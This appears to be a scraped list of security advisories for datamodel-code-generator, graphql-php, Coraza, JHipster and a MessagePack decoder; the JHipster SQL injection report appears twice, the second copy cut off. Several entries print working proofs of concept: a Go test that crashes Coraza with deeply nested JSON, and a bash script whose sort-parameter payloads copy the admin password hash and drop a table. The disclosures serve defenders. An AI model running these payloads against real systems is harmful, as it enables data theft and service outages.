-Infinity
0
Severity
7.5
Path Traversal
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

datamodel-code-generator generates Python data models from schema definitions. From 0.59.0 until 0.81.0, an attacker-controlled Protobuf schema can supply absolute or parent-directory paths captured by WEAKIMPORTPATTERN and consumed by writemissingweakimports in src/datamodelcodegenerator/parser/protobuf.py. Exploitation requires a victim or automated job to process the attacker-controlled schema with Protobuf input support, which requires the grpcio-tools package. The paths escape the weakimports temporary directory before protoc runs, allowing creation of directory trees and new files or overwrite of existing writable files with a generated Protobuf syntax declaration. The effect persists when later Protobuf compilation fails. The written content is limited to a proto2 or proto3 syntax declaration, and direct arbitrary code execution has not been demonstrated. This issue is fixed in version 0.81.0.

First published (updated )
Severity
8.2
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

webonyx graphql-php is a PHP implementation of the GraphQL specification. Prior to 15.32.3, GraphQL\Language\Parser performs recursive descent without a recursion limit in parseSelectionSet, parseValueLiteral, and parseTypeReference. A remote attacker can submit deeply nested selection sets, object or list values, or list types that exhaust the PHP process stack during pre-validation parsing, before query validation and complexity controls run. The resulting SIGSEGV can terminate PHP-FPM workers or long-running Swoole, RoadRunner, ReactPHP, or CLI processes and cannot be caught by application-level exception handling. This issue is fixed in version 15.32.3.

First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

The JSON body processor (internal/bodyprocessors/json.go) can be made to crash the whole process with an unrecoverable fatal error: stack overflow, using a request body that is well under the recommended SecRequestBodyLimit and the default SecArgumentsLimit.

Root cause

readJSON (json.go:113-143) runs a bounded, best-effort flattening walk (readItems) and afterwards calls gjson.Valid(s) on the raw body if readItems returned no error:

go json := gjson.Parse(s) ... truncated, err = readItems(json, key, maxRecursion, argumentLimit, byteBudget, &usedBytes, &argCount, res) if err != nil { return res, truncated, err } if !gjson.Valid(s) { return res, truncated, errors.New("invalid JSON") }

gjson.Valid (gjson v1.18.0, validany -> validarray/validobject) recurses once per nesting level with no depth bound. readItems does have a depth bound (maxRecursion), enforced here (json.go:163-182):

go func readItems(json gjson.Result, objKey []byte, maxRecursion int, argumentLimit int, byteBudget int, usedBytes int, argCount int, res map[string][]string) (truncated bool, err error) { if byteBudget > 0 && usedBytes >= byteBudget { return true, nil // <-- checked first } if argumentLimit > 0 && argCount >= argumentLimit { return true, nil // <-- checked second } ... if maxRecursion <= 0 { return false, errors.New("max recursion reached while reading json object") }

The byte-budget and argument-limit checks run before the recursion-depth check, and they short-circuit the walk with truncated=true, err=nil instead of recursing further. If the configured SecArgumentsLimit (ArgumentLimit, default 1000, internal/corazawaf/waf.go:359) is reached by earlier, shallow values in the document, readItems stops walking before it ever reaches a deeply nested tail later in the same document — so the maxRecursion error is never produced, err comes back nil, and readJSON falls through to the unconditional gjson.Valid(s) call on the complete raw body, including the part readItems never visited.

This is not a new interaction with the recursion limit itself: at v3.7.0, gjson.Valid ran unconditionally before any recursion check at all, so a plain deeply-nested body crashed the process directly. A later fix added a depth check that returns an error before Valid runs for the straightforward case (nesting reached before any other guard fires). The argument-limit / byte-budget guards added since then (GHSA-6r3q-mjv7-xr8m, GHSA-3ww9-vw83-9w5x) reopened the same crash for the case above, because they short-circuit the walk (and therefore the recursion counter) ahead of the depth check, on both the request and response body path (ProcessResponse calls the same readJSON, json.go:57-88).

Because this is fatal error: stack overflow, not a panic, it is not recoverable by any recover() in the calling goroutine — the process terminates unconditionally.

PoC

go package bodyprocessors

import ( "strings" "testing" )

func TestStackOverflowRepro(t testing.T) { body := "[" + strings.Repeat("1,", 1000) + strings.Repeat("[", 13000000) // 13,002,001 bytes total: under the recommended SecRequestBodyLimit // (13107200, coraza.conf-recommended:78) and default ArgumentLimit (1000, // internal/corazawaf/waf.go:359). , , = readJSON(body, 20, 1000) }

$ go test -run TestStackOverflowRepro ./internal/bodyprocessors/ -v runtime: goroutine stack exceeds 1000000000-byte limit fatal error: stack overflow ... github.com/tidwall/gjson.validarray(...) .../gjson@v1.18.0/gjson.go:2584 github.com/tidwall/gjson.validany(...) .../gjson@v1.18.0/gjson.go:2499 github.com/tidwall/gjson.validarray(...) .../gjson@v1.18.0/gjson.go:2589 ... (repeats until the goroutine stack limit is hit)

Reproduced against commit 19b86824 (tag v3.8.0), both by calling readJSON directly and end-to-end through the recommended coraza.conf-recommended configuration (JSON Content-Type, default SecArgumentsLimit, recommended SecRequestBodyLimit).

Impact

An unauthenticated attacker who can send an HTTP request body (any endpoint protected by Coraza with the JSON body processor enabled, which is the default for application/json) can crash the entire host process with a single request, using a payload well within default and recommended body size and argument-count limits. There is no privilege or interaction requirement, and the crash cannot be caught or mitigated by the integrator (no recover() stops a stack-overflow fatal error). This is strictly worse than a CPU-exhaustion or slow-request DoS: the process must be restarted, and every in-flight request/transaction on that process is lost.

Suggested fix

Run an iterative, explicitly-bounded-depth pre-scan (or reuse readItems's own recursion accounting) before calling gjson.Valid, and never call gjson.Valid on input whose nesting exceeds maxRecursion. The response path (ProcessResponse) needs the same treatment since it shares readJSON.

AI involvement disclosure

- AI tools/models used: Claude Sonnet 5 (Anthropic), via Claude Code. - What was generated/assisted: the initial vulnerability hypothesis and repro shape were supplied by the reporter as an existing written finding; Claude Sonnet 5 independently re-derived the root cause by reading the current source, wrote and ran a fresh PoC test against commit 19b86824 (tag v3.8.0), confirmed the crash and stack trace shown above, verified the default configuration values cited (ArgumentLimit default, SecRequestBodyLimit recommended value) against the current source, and drafted this advisory text. - Review performed: reproduced by hand by running the PoC test above with go test -run TestStackOverflowRepro ./internal/bodyprocessors/ -v against a clean checkout of commit 19b86824; observed the fatal error: stack overflow and stack trace through gjson.validarray/validany; traced readJSON/readItems line by line to confirm the guard ordering described above; the PoC was reviewed by a human maintainer (fzipi) before submission of this advisory.

First published (updated )
Severity
8.8
SQL Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

SQL Injection in the sort Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applications

- Product: jhipster/generator-jhipster (npm package generator-jhipster) - Affected versions: v7.0.0 through v9.2.0 - Component: generated reactive-application code, template EntityManagerreactive.java.ejs - Report date: 2026-08-29

---

1. Summary

Every reactive (Spring WebFlux + Spring Data R2DBC + SQL) application generated by generator-jhipster contains an SQL injection in the paginated entity list endpoints (GET /api/<entity>?sort=...). The sort request parameter is taken verbatim from the user and concatenated into the SQL ORDER BY clause without quoting or validation. Because the generated query has no bound parameters, the R2DBC drivers execute it via the simple query protocol, so ;-separated extra statements are run against the database.

A single authenticated low-privileged user (including an account obtained through the default self-registration flow) can therefore execute arbitrary SQL: read any table (including jhiuser password hashes), modify or delete data, and drop tables (full C/I/A impact). Independently reproduced end-to-end on the default dev database (H2) and the default production database (PostgreSQL 16).

The JPA (non-reactive) path is not affected: Spring Data JPA validates sort property names against the entity metamodel. NoSQL backends are out of scope of this root cause.

2. Root Cause

The generator template generators/spring-boot/generators/data-relational/templates/src/main/java/package/repository/EntityManagerreactive.java.ejs (lines 240–253) writes createOrderByFields(...), which renders the user-supplied sort property directly as an unquoted SqlIdentifier:

java private static Collection<? extends OrderByField> createOrderByFields(Table table, Sort sortToUse) { List<OrderByField> fields = new ArrayList<>(); for (Sort.Order order : sortToUse) { String propertyName = order.getProperty(); // attacker controlled (?sort=...) OrderByField orderByField = !propertyName.contains(".") ? OrderByField.from(table.column(propertyName).as(EntityManager.ALIASPREFIX + propertyName)) : createOrderByField(propertyName); fields.add(order.isAscending() ? orderByField.asc() : orderByField.desc()); } return fields; }

The generated app configures SqlRenderer.create(factory.createRenderContext()) with the default naming strategy, so unquoted identifiers are rendered verbatim. With ?sort=id;DROP TABLE product;-- the alias renders into:

sql SELECT e.id AS eid, e.name AS ename, e.price AS eprice FROM product e ORDER BY eid;DROP TABLE product;-- ASC LIMIT 20 OFFSET 0

3. Verification

A real application was generated from this repository (git clone of the submitted source, v9.2.0), built with Spring Boot 4.1.1, and run against both H2 and PostgreSQL 16.

| Step | H2 (dev default) | PostgreSQL 16 (prod default) | | ------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------- | -------------------------------------------------- | | Error probe sort=name%27 | 500; SQL echoed with raw ' in ORDER BY ename' | 500; r2dbc-postgresql parse error echoing full SQL | | Exfiltrate admin hash via ;UPDATE product SET name=(SELECT passwordhash FROM jhiuser ...);-- | HTTP 200; name becomes $2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC | HTTP 200; same hash read back | | ;DROP TABLE product;-- | HTTP 200; table gone, subsequent list → 500 | HTTP 200; table gone, subsequent list → 500 |

All payloads executed with a token carrying only ROLEUSER. No other vulnerability or privileged account is required.

4. Impact

CWE-89 SQL Injection. Confidentiality (arbitrary read, incl. jhiuser password hashes), Integrity (arbitrary writes), Availability (table drops). The affected code is produced by default for reactive: true + SQL database + paginated entity (the default for monoliths and microservices). Applications must be regenerated after a fix.

5. Fix Recommendation

In EntityManager.createOrderByFields, validate each sort property against the entity's persistent metamodel (allow only known column names) or render it as a quoted SqlIdentifier; never concatenate raw property strings into SQL. Ship the fix in the generator and advise affected applications to regenerate.

---

Appendix

A. Environment setup

bash 0. Prerequisites: JDK 21, Node >= 20, Docker (PostgreSQL step only), Maven (optional), curl, python3 java -version # openjdk 21.x node --version # v20+

1. Clone the generator git clone https://github.com/jhipster/generator-jhipster.git cd generator-jhipster git checkout <affected-tag> # e.g. v9.2.0 (or keep main). Folder MUST be named generator-jhipster. npm install --no-audit --no-fund # ~778 packages npm link # makes jhipster available jhipster --version # expected: 9.2.0

2. Generate the target app (reactive + SQL + JWT + paginated entity) mkdir -p /tmp/pocwebflux && cd /tmp/pocwebflux cat > .yo-rc.json <<'EOF' { "generator-jhipster": { "applicationType": "monolith", "baseName": "pocwebflux", "packageName": "com.mycompany.pocwebflux", "authenticationType": "jwt", "databaseType": "sql", "devDatabaseType": "h2Memory", "prodDatabaseType": "postgresql", "reactive": true, "skipClient": true, "buildTool": "maven", "enableTranslation": false, "jhipsterVersion": "9.2.0" } } EOF cat > product.jdl <<'EOF' entity Product { name String required, price BigDecimal } paginate Product with pagination EOF export JAVAHOME=$HOME/.sdkman/candidates/java/21.0.7-amzn jhipster --no-insight --force # -> "Spring Boot 4.1.1 application generated successfully." jhipster jdl product.jdl --no-insight --force

Sanity check that the generated app contains the vulnerable code (all should match): grep -n "OrderByField.from(table.column" src/main/java/com/mycompany/pocwebflux/repository/EntityManager.java grep -n "findAllBy(Pageable" src/main/java/com/mycompany/pocwebflux/repository/ProductRepositoryInternalImpl.java grep -n "Pageable pageable" src/main/java/com/mycompany/pocwebflux/web/rest/ProductResource.java

3a. Run on H2 (default dev database) ./mvnw -DskipTests package # -> BUILD SUCCESS setsid nohup $JAVAHOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \ --spring.profiles.active=dev --server.port=18080 > app-dev.log 2>&1 < /dev/null & curl -s http://127.0.0.1:18080/management/health # -> {"groups":[...],"status":"UP"} BASEURL=http://127.0.0.1:18080 bash <path-to>/poc/poc.sh

3b. Run on PostgreSQL 16 (default production database) docker run -d --name jh-pg16 -e POSTGRESUSER=pocwebflux -e POSTGRESPASSWORD=secret \ -e POSTGRESDB=pocwebflux -p 15432:5432 postgres:16 ./mvnw -Pprod -DskipTests package # prod DB driver is in the Maven prod profile SECRET=$(python3 -c "import base64,os;print(base64.b64encode(os.urandom(64)).decode())") setsid nohup $JAVAHOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \ --spring.profiles.active=prod --server.port=18081 \ --spring.r2dbc.url=r2dbc:postgresql://127.0.0.1:15432/pocwebflux \ --spring.r2dbc.username=pocwebflux --spring.r2dbc.password=secret \ --spring.liquibase.url=jdbc:postgresql://127.0.0.1:15432/pocwebflux \ --spring.liquibase.user=pocwebflux --spring.liquibase.password=secret \ --jhipster.security.authentication.jwt.base64-secret=$SECRET > app-prod.log 2>&1 < /dev/null & seed two products via the API (prod has no sample data), then run poc.sh: BASEURL=http://127.0.0.1:18081 bash <path-to>/poc/poc.sh docker rm -f jh-pg16

B. PoC script

bash #!/usr/bin/env bash Usage: BASEURL=http://host:port ./poc.sh (uses seeded user/user; JWT=... to reuse a token) set -euo pipefail BASEURL="${BASEURL:-http://127.0.0.1:18080}"; JWT="${JWT:-}"; LOGIN="${LOGIN:-user}"; PASSWORD="${PASSWORD:-user}"

if [ -z "$JWT" ]; then JWT=$(curl -s -X POST "$BASEURL/api/authenticate" -H 'Content-Type: application/json' \ -d "{\"username\":\"$LOGIN\",\"password\":\"$PASSWORD\",\"rememberMe\":false}" \ | python3 -c "import sys,json;print(json.load(sys.stdin)['idtoken'])") fi AUTH="Authorization: Bearer $JWT"

echo "== 2) Baseline ==" curl -s -H "$AUTH" "$BASEURL/api/products?sort=id,asc&page=0&size=2" | head -c 300; echo echo "== 3) Error probe: sort=name' ==" curl -s -H "$AUTH" "$BASEURL/api/products?sort=name%27" \ | python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get("status"));print(d.get("detail"))' || true echo "== 4) Exfiltrate admin bcrypt hash ==" PAYLOAD="id%3BUPDATE%20product%20SET%20name%3D(SELECT%20passwordhash%20FROM%20jhiuser%20ORDER%20BY%20login%20LIMIT%201)%20WHERE%20id%3D(SELECT%20min(id)%20FROM%20product)%3B--" curl -s -o /dev/null -w " injection HTTP %{httpcode}\n" -H "$AUTH" "$BASEURL/api/products?sort=$PAYLOAD" curl -s -H "$AUTH" "$BASEURL/api/products?sort=id,asc&page=0&size=2" \ | python3 -c "import sys,json;[print(' id=%s name=%s'%(p['id'],p['name'])) for p in json.load(sys.stdin)]" echo "== 5) DROP TABLE product ==" PAYLOAD="id%3BDROP%20TABLE%20product%3B--" curl -s -o /dev/null -w " injection HTTP %{httpcode}\n" -H "$AUTH" "$BASEURL/api/products?sort=$PAYLOAD" curl -s -H "$AUTH" "$BASEURL/api/products?sort=id,asc" \ | python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get("status"));print(str(d.get("detail"))[:90])' || true

C. Real output (H2 run, 2026-08-29, full poc.sh execution)

== Target: http://127.0.0.1:18080 == == 1) Obtain a low-privileged token (user/user) == == 2) Baseline: benign paginated read (sort=id,asc) == [ { "id" : 1, "name" : "eke below forceful", "price" : 3151.02 }, { "id" : 2, ... } ]

== 3) Error probe: sort=name' -> raw quote reaches ORDER BY unescaped == status: 500 detail: Syntax error in SQL statement "SELECT e.id AS eid, e.name AS ename, e.price AS eprice FROM product e ORDER BY ename[]' ASC OFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY"; SQL statement: SELECT e.id AS eid, e.name AS ename, e.price AS eprice FROM product e ORDER BY ename' ASC OFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY [42000-240]

== 4) Arbitrary SQL: exfiltrate jhiuser.passwordhash (admin) into a readable field == injection request HTTP 200 Read back - first product 'name' now equals the admin bcrypt hash: id=1 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC id=2 name=notwithstanding

== 5) Arbitrary SQL: DROP TABLE product (availability) == injection request HTTP 200 After injection, listing products again: status: 500 detail: Table "PRODUCT" not found; SQL statement: SELECT COUNT() FROM product [42102-240]

== Done. The database has been modified / a table dropped by injected SQL. == <img width="1280" height="1519" alt="evidence-01-h2" src="https://github.com/user-attachments/assets/daceef8d-60ae-4edc-ab3e-c1020e1b0d77" />

D. Real output (PostgreSQL 16 run )

== 3) Error probe: sort=name' == status: 500 detail: Sql cannot be parsed: unclosed quote (quote opened at index 88) in statement: SELECT e.id AS eid, e.name AS ename, e.price AS eprice FROM product e ORDER BY ename' ASC LIMIT 20 OFFSET 0

== 4) Exfiltrate jhiuser.passwordhash (admin) into a readable field == injection request HTTP 200 id=1500 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC id=1501 name=beta widget

== 5) DROP TABLE product == injection request HTTP 200 -> subsequent list: status 500 "Failure during data access" <img width="1280" height="891" alt="evidence-02-postgresql" src="https://github.com/user-attachments/assets/61cf5bf4-d957-4969-80e3-06d9626b1142" />

First published (updated )
Severity
7.6
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

Summary Applications generated by generator-jhipster v9.2.0 can persist user-controlled Blob ContentType values and later use those values as the MIME type for client-side Blob objects. The shared generated openFile helper creates an object URL from the Blob and opens it in a new window.

For Blob-bearing entities writable by normal authenticated users, this creates a stored XSS chain: attacker-controlled Blob content and MIME type are stored through the generated REST API, returned to privileged users, and opened as a same-origin Blob document from the generated Angular/React/Vue UI. Exploitability should be confirmed against the generated app’s CSP and target browsers.

Details The root cause is a trust-boundary failure across generated server and client code. The generated entity REST resource accepts request bodies for entity creation and update. Unless an entity-specific authority is configured, the template omits method-level @PreAuthorize, leaving the endpoint available to any authenticated user under the global /api/ security rule.

The generated DTO/domain/mapper flow stores the companion <field>ContentType property as a plain String and persists it with the entity Blob data. The relevant templates include generators/spring-boot/templates/src/main/java/package/entityPackage/service/dto/dtoClass.java.ejs:96-122 and generators/java/generators/domain/templates/src/main/java/package/entityPackage/domain/persistClass.java.jhi.ejs:124-140. The generated code does not restrict MIME types, reject active document formats, or validate that the declared content type matches the uploaded bytes.

The dangerous sink is openFile in generators/client/generators/common/templates/src/main/webapp/app/shared/jhipster/data-utils.ts.ejs:49-64. It uses the returned contentType as the Blob type, creates an object URL, and calls globalThis.open(fileURL). Generated Angular, React, and Vue entity pages pass server-returned Blob data and ContentType into this helper, allowing active HTML or SVG content to be opened as a document under the application origin depending on CSP and browser behavior.

Core vulnerable code path:

typescript // generators/client/generators/common/templates/src/main/webapp/app/shared/jhipster/data-utils.ts.ejs:49-64 export const openFile = (data: string, contentType: string | null | undefined): void => { contentType ??= '';

const byteCharacters = atob(data); const byteNumbers = new Array(byteCharacters.length); for (let i = 0; i < byteCharacters.length; i++) { byteNumbers[i] = byteCharacters.codePointAt(i); } const byteArray = new Uint8Array(byteNumbers); const blob = new Blob([byteArray], { type: contentType, }); const fileURL = globalThis.URL.createObjectURL(blob); const win = globalThis.open(fileURL); if (win) { win.onload = () => URL.revokeObjectURL(fileURL);

The shared client sink trusts the incoming contentType, builds a Blob with that type, and opens it through a generated object URL. Active MIME types can therefore become executable documents when opened, depending on CSP and browser behavior.

POC Preconditions: the target application is generated by generator-jhipster v9.2.0; it includes an entity with a Blob, AnyBlob, or ImageBlob field; the entity has no entityAuthority restriction or the attacker has write permission; the attacker has a normal account and a higher-privileged victim can view the entity detail or list page.

Reproduction: (1) Generate an application with a Blob-bearing entity, for example a Document entity with a payload AnyBlob field. (2) Authenticate as a normal user and send POST /api/documents with Authorization: Bearer <attacker-token> and Content-Type: application/json. The request body contains a Base64-encoded active document in the payload field and a payloadContentType value such as text/html. (3) Confirm that the API returns HTTP 201 and that GET /api/documents/{id} returns the same payload and payloadContentType. (4) Have a privileged user open the generated entity detail or list page and click the Blob field’s Open link. Expected result: the browser opens a blob:<target-origin>/... document; where CSP and browser behavior permit script execution, the document can read Web Storage tokens or call same-origin APIs such as /api/account and privileged /api/admin/ endpoints as the victim.

Impact A normal authenticated user can persist active content that a privileged user may open from the generated UI. Successful exploitation can result in stored cross-site scripting, JWT/localStorage/sessionStorage theft, sensitive API data disclosure, and privileged actions under the victim’s session. Default CSP may reduce exploitability, so deployments with relaxed CSP or browser behavior that allows script execution in opened Blob documents are at highest risk.

First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact

A truncated map32 header causes an out-of-bounds buffer read and throws RangeError instead of IncompleteBufferError. Applications that rely on IncompleteBufferError to wait for additional bytes may terminate a request, stream, or worker unexpectedly. No adjacent memory is disclosed because the buffer implementation checks bounds.

Patches

The decoder now validates the complete five-byte map32 header before reading its length and reports truncated input as IncompleteBufferError.

Workarounds

Require at least five bytes before decoding a value beginning with 0xdf, or catch RangeError and treat it as incomplete input only for truncated map32 headers.

First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact

The streaming decoder recursively invokes itself for every complete value remaining in a chunk. A single chunk containing many small valid MessagePack values can exhaust the JavaScript call stack and interrupt the process or stream.

Patches

The streaming decoder now drains concatenated values iteratively with constant call-stack depth.

Workarounds

Limit the number of MessagePack values accepted in one chunk, or split large batches before passing them to the decoder stream.

First published (updated )
Severity
8.8
SQL Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

SQL Injection in the sort Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applications

- Product: jhipster/generator-jhipster (npm package generator-jhipster) - Affected versions: v7.0.0 through v9.2.0 - Component: generated reactive-application code, template EntityManagerreactive.java.ejs - Report date: 2026-08-29

---

1. Summary

Every reactive (Spring WebFlux + Spring Data R2DBC + SQL) application generated by generator-jhipster contains an SQL injection in the paginated entity list endpoints (GET /api/<entity>?sort=...). The sort request parameter is taken verbatim from the user and concatenated into the SQL ORDER BY clause without quoting or validation. Because the generated query has no bound parameters, the R2DBC drivers execute it via the simple query protocol, so ;-separated extra statements are run against the database.

A single authenticated low-privileged user (including an account obtained through the default self-registration flow) can therefore execute arbitrary SQL: read any table (including jhiuser password hashes), modify or delete data, and drop tables (full C/I/A impact). Independently reproduced end-to-end on the default dev database (H2) and the default production database (PostgreSQL 16).

The JPA (non-reactive) path is not affected: Spring Data JPA validates sort property names against the entity metamodel. NoSQL backends are out of scope of this root cause.

2. Root Cause

The generator template generators/spring-boot/generators/data-relational/templates/src/main/java/package/repository/EntityManagerreactive.java.ejs (lines 240–253) writes createOrderByFields(...), which renders the user-supplied sort property directly as an unquoted SqlIdentifier:

java private static Collection<? extends OrderByField> createOrderByFields(Table table, Sort sortToUse) { List<OrderByField> fields = new ArrayList<>(); for (Sort.Order order : sortToUse) { String propertyName = order.getProperty(); // attacker controlled (?sort=...) OrderByField orderByField = !propertyName.contains(".") ? OrderByField.from(table.column(propertyName).as(EntityManager.ALIASPREFIX + propertyName)) : createOrderByField(propertyName); fields.add(order.isAscending() ? orderByField.asc() : orderByField.desc()); } return fields; }

The generated app configures SqlRenderer.create(factory.createRenderContext()) with the default naming strategy, so unquoted identifiers are rendered verbatim. With ?sort=id;DROP TABLE product;-- the alias renders into:

sql SELECT e.id AS eid, e.name AS ename, e.price AS eprice FROM product e ORDER BY eid;DROP TABLE product;-- ASC LIMIT 20 OFFSET 0

3. Verification

A real application was generated from this repository (git clone of the submitted source, v9.2.0), built with Spring Boot 4.1.1, and run against both H2 and PostgreSQL 16.

| Step | H2 (dev default) | PostgreSQL 16 (prod default) | | ------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------- | -------------------------------------------------- | | Error probe sort=name%27 | 500; SQL echoed with raw ' in ORDER BY ename' | 500; r2dbc-postgresql parse error echoing full SQL | | Exfiltrate admin hash via ;UPDATE product SET name=(SELECT passwordhash FROM jhiuser ...);-- | HTTP 200; name becomes $2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC | HTTP 200; same hash read back | | ;DROP TABLE product;-- | HTTP 200; table gone, subsequent list → 500 | HTTP 200; table gone, subsequent list → 500 |

All payloads executed with a token carrying only ROLEUSER. No other vulnerability or privileged account is required.

4. Impact

CWE-89 SQL Injection. Confidentiality (arbitrary read, incl. jhiuser password hashes), Integrity (arbitrary writes), Availability (table drops). The affected code is produced by default for reactive: true + SQL database + paginated entity (the default for monoliths and microservices). Applications must be regenerated after a fix.

5. Fix Recommendation

In EntityManager.createOrderByFields, validate each sort property against the entity's persistent metamodel (allow only known column names) or render it as a quoted SqlIdentifier; never concatenate raw property strings into SQL. Ship the fix in the generator and advise affected applications to regenerate.

---

Appendix

A. Environment setup

bash 0. Prerequisites: JDK 21, Node >= 20, Docker (PostgreSQL step only), Maven (optional), curl, python3 java -version # openjdk 21.x node --version # v20+

1. Clone the generator git clone https://github.com/jhipster/generator-jhipster.git cd generator-jhipster git checkout <affected-tag> # e.g. v9.2.0 (or keep main). Folder MUST be named generator-jhipster. npm install --no-audit --no-fund # ~778 packages npm link # makes jhipster available jhipster --version # expected: 9.2.0

2. Generate the target app (reactive + SQL + JWT + paginated entity) mkdir -p /tmp/pocwebflux && cd /tmp/pocwebflux cat > .yo-rc.json <<'EOF' { "generator-jhipster": { "applicationType": "monolith", "baseName": "pocwebflux", "packageName": "com.mycompany.pocwebflux", "authenticationType": "jwt", "databaseType": "sql", "devDatabaseType": "h2Memory", "prodDatabaseType": "postgresql", "reactive": true, "skipClient": true, "buildTool": "maven", "enableTranslation": false, "jhipsterVersion": "9.2.0" } } EOF cat > product.jdl <<'EOF' entity Product { name String required, price BigDecimal } paginate Product with pagination EOF export JAVAHOME=$HOME/.sdkman/candidates/java/21.0.7-amzn jhipster --no-insight --force # -> "Spring Boot 4.1.1 application generated successfully." jhipster jdl product.jdl --no-insight --force

Sanity check that the generated app contains the vulnerable code (all should match): grep -n "OrderByField.from(table.column" src/main/java/com/mycompany/pocwebflux/repository/EntityManager.java grep -n "findAllBy(Pageable" src/main/java/com/mycompany/pocwebflux/repository/ProductRepositoryInternalImpl.java grep -n "Pageable pageable" src/main/java/com/mycompany/pocwebflux/web/rest/ProductResource.java

3a. Run on H2 (default dev database) ./mvnw -DskipTests package # -> BUILD SUCCESS setsid nohup $JAVAHOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \ --spring.profiles.active=dev --server.port=18080 > app-dev.log 2>&1 < /dev/null & curl -s http://127.0.0.1:18080/management/health # -> {"groups":[...],"status":"UP"} BASEURL=http://127.0.0.1:18080 bash <path-to>/poc/poc.sh

3b. Run on PostgreSQL 16 (default production database) docker run -d --name jh-pg16 -e POSTGRESUSER=pocwebflux -e POSTGRESPASSWORD=secret \ -e POSTGRESDB=pocwebflux -p 15432:5432 postgres:16 ./mvnw -Pprod -DskipTests package # prod DB driver is in the Maven prod profile SECRET=$(python3 -c "import base64,os;print(base64.b64encode(os.urandom(64)).decode())") setsid nohup $JAVAHOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \ --spring.profiles.active=prod --server.port=18081 \ --spring.r2dbc.url=r2dbc:postgresql://127.0.0.1:15432/pocwebflux \ --spring.r2dbc.username=pocwebflux --spring.r2dbc.password=secret \ --spring.liquibase.url=jdbc:postgresql://127.0.0.1:15432/pocwebflux \ --spring.liquibase.user=pocwebflux --spring.liquibase.password=secret \ --jhipster.security.authentication.jwt.base64-secret=$SECRET > app-prod.log 2>&1 < /dev/null & seed two products via the API (prod has no sample data), then run poc.sh: BASEURL=http://127.0.0.1:18081 bash <path-to>/poc/poc.sh docker rm -f jh-pg16

B. PoC script

bash #!/usr/bin/env bash Usage: BASEURL=http://host:port ./poc.sh (uses seeded user/user; JWT=... to reuse a token) set -euo pipefail BASEURL="${BASEURL:-http://127.0.0.1:18080}"; JWT="${JWT:-}"; LOGIN="${LOGIN:-user}"; PASSWORD="${PASSWORD:-user}"

if [ -z "$JWT" ]; then JWT=$(curl -s -X POST "$BASEURL/api/authenticate" -H 'Content-Type: application/json' \ -d "{\"username\":\"$LOGIN\",\"password\":\"$PASSWORD\",\"rememberMe\":false}" \ | python3 -c "import sys,json;print(json.load(sys.stdin)['idtoken'])") fi AUTH="Authorization: Bearer $JWT"

echo "== 2) Baseline ==" curl -s -H "$AUTH" "$BASEURL/api/products?sort=id,asc&page=0&size=2" | head -c 300; echo echo "== 3) Error probe: sort=name' ==" curl -s -H "$AUTH" "$BASEURL/api/products?sort=name%27" \ | python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get("status"));print(d.get("detail"))' || true echo "== 4) Exfiltrate admin bcrypt hash ==" PAYLOAD="id%3BUPDATE%20product%20SET%20name%3D(SELECT%20passwordhash%20FROM%20jhiuser%20ORDER%20BY%20login%20LIMIT%201)%20WHERE%20id%3D(SELECT%20min(id)%20FROM%20product)%3B--" curl -s -o /dev/null -w " injection HTTP %{httpcode}\n" -H "$AUTH" "$BASEURL/api/products?sort=$PAYLOAD" curl -s -H "$AUTH" "$BASEURL/api/products?sort=id,asc&page=0&size=2" \ | python3 -c "import sys,json;[print(' id=%s name=%s'%(p['id'],p['name'])) for p in json.load(sys.stdin)]" echo "== 5) DROP TABLE product ==" PAYLOAD="id%3BDROP%20TABLE%20product%3B--" curl -s -o /dev/null -w " injection HTTP %{httpcode}\n" -H "$AUTH" "$BASEURL/api/products?sort=$PAYLOAD" curl -s -H "$AUTH" "$BASEURL/api/products?sort=id,asc" \ | python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get("status"));print(str(d.get("detail"))[:90])' || true

C. Real output (H2 run, 2026-08-29, full poc.sh execution)

== Target: http://127.0.0.1:18080 == == 1) Obtain a low-privileged token (user/user) == == 2) Baseline: benign paginated read (sort=id,asc) == [ { "id" : 1, "name" : "eke below forceful", "price" : 3151.02 }, { "id" : 2, ... } ]

== 3) Error probe: sort=name' -> raw quote reaches ORDER BY unescaped == status: 500 detail: Syntax error in SQL statement "SELECT e.id AS eid, e.name AS ename, e.price AS eprice FROM product e ORDER BY ename[]' ASC OFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY"; SQL statement: SELECT e.id AS eid, e.name AS ename, e.price AS eprice FROM product e ORDER BY ename' ASC OFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY [42000-240]

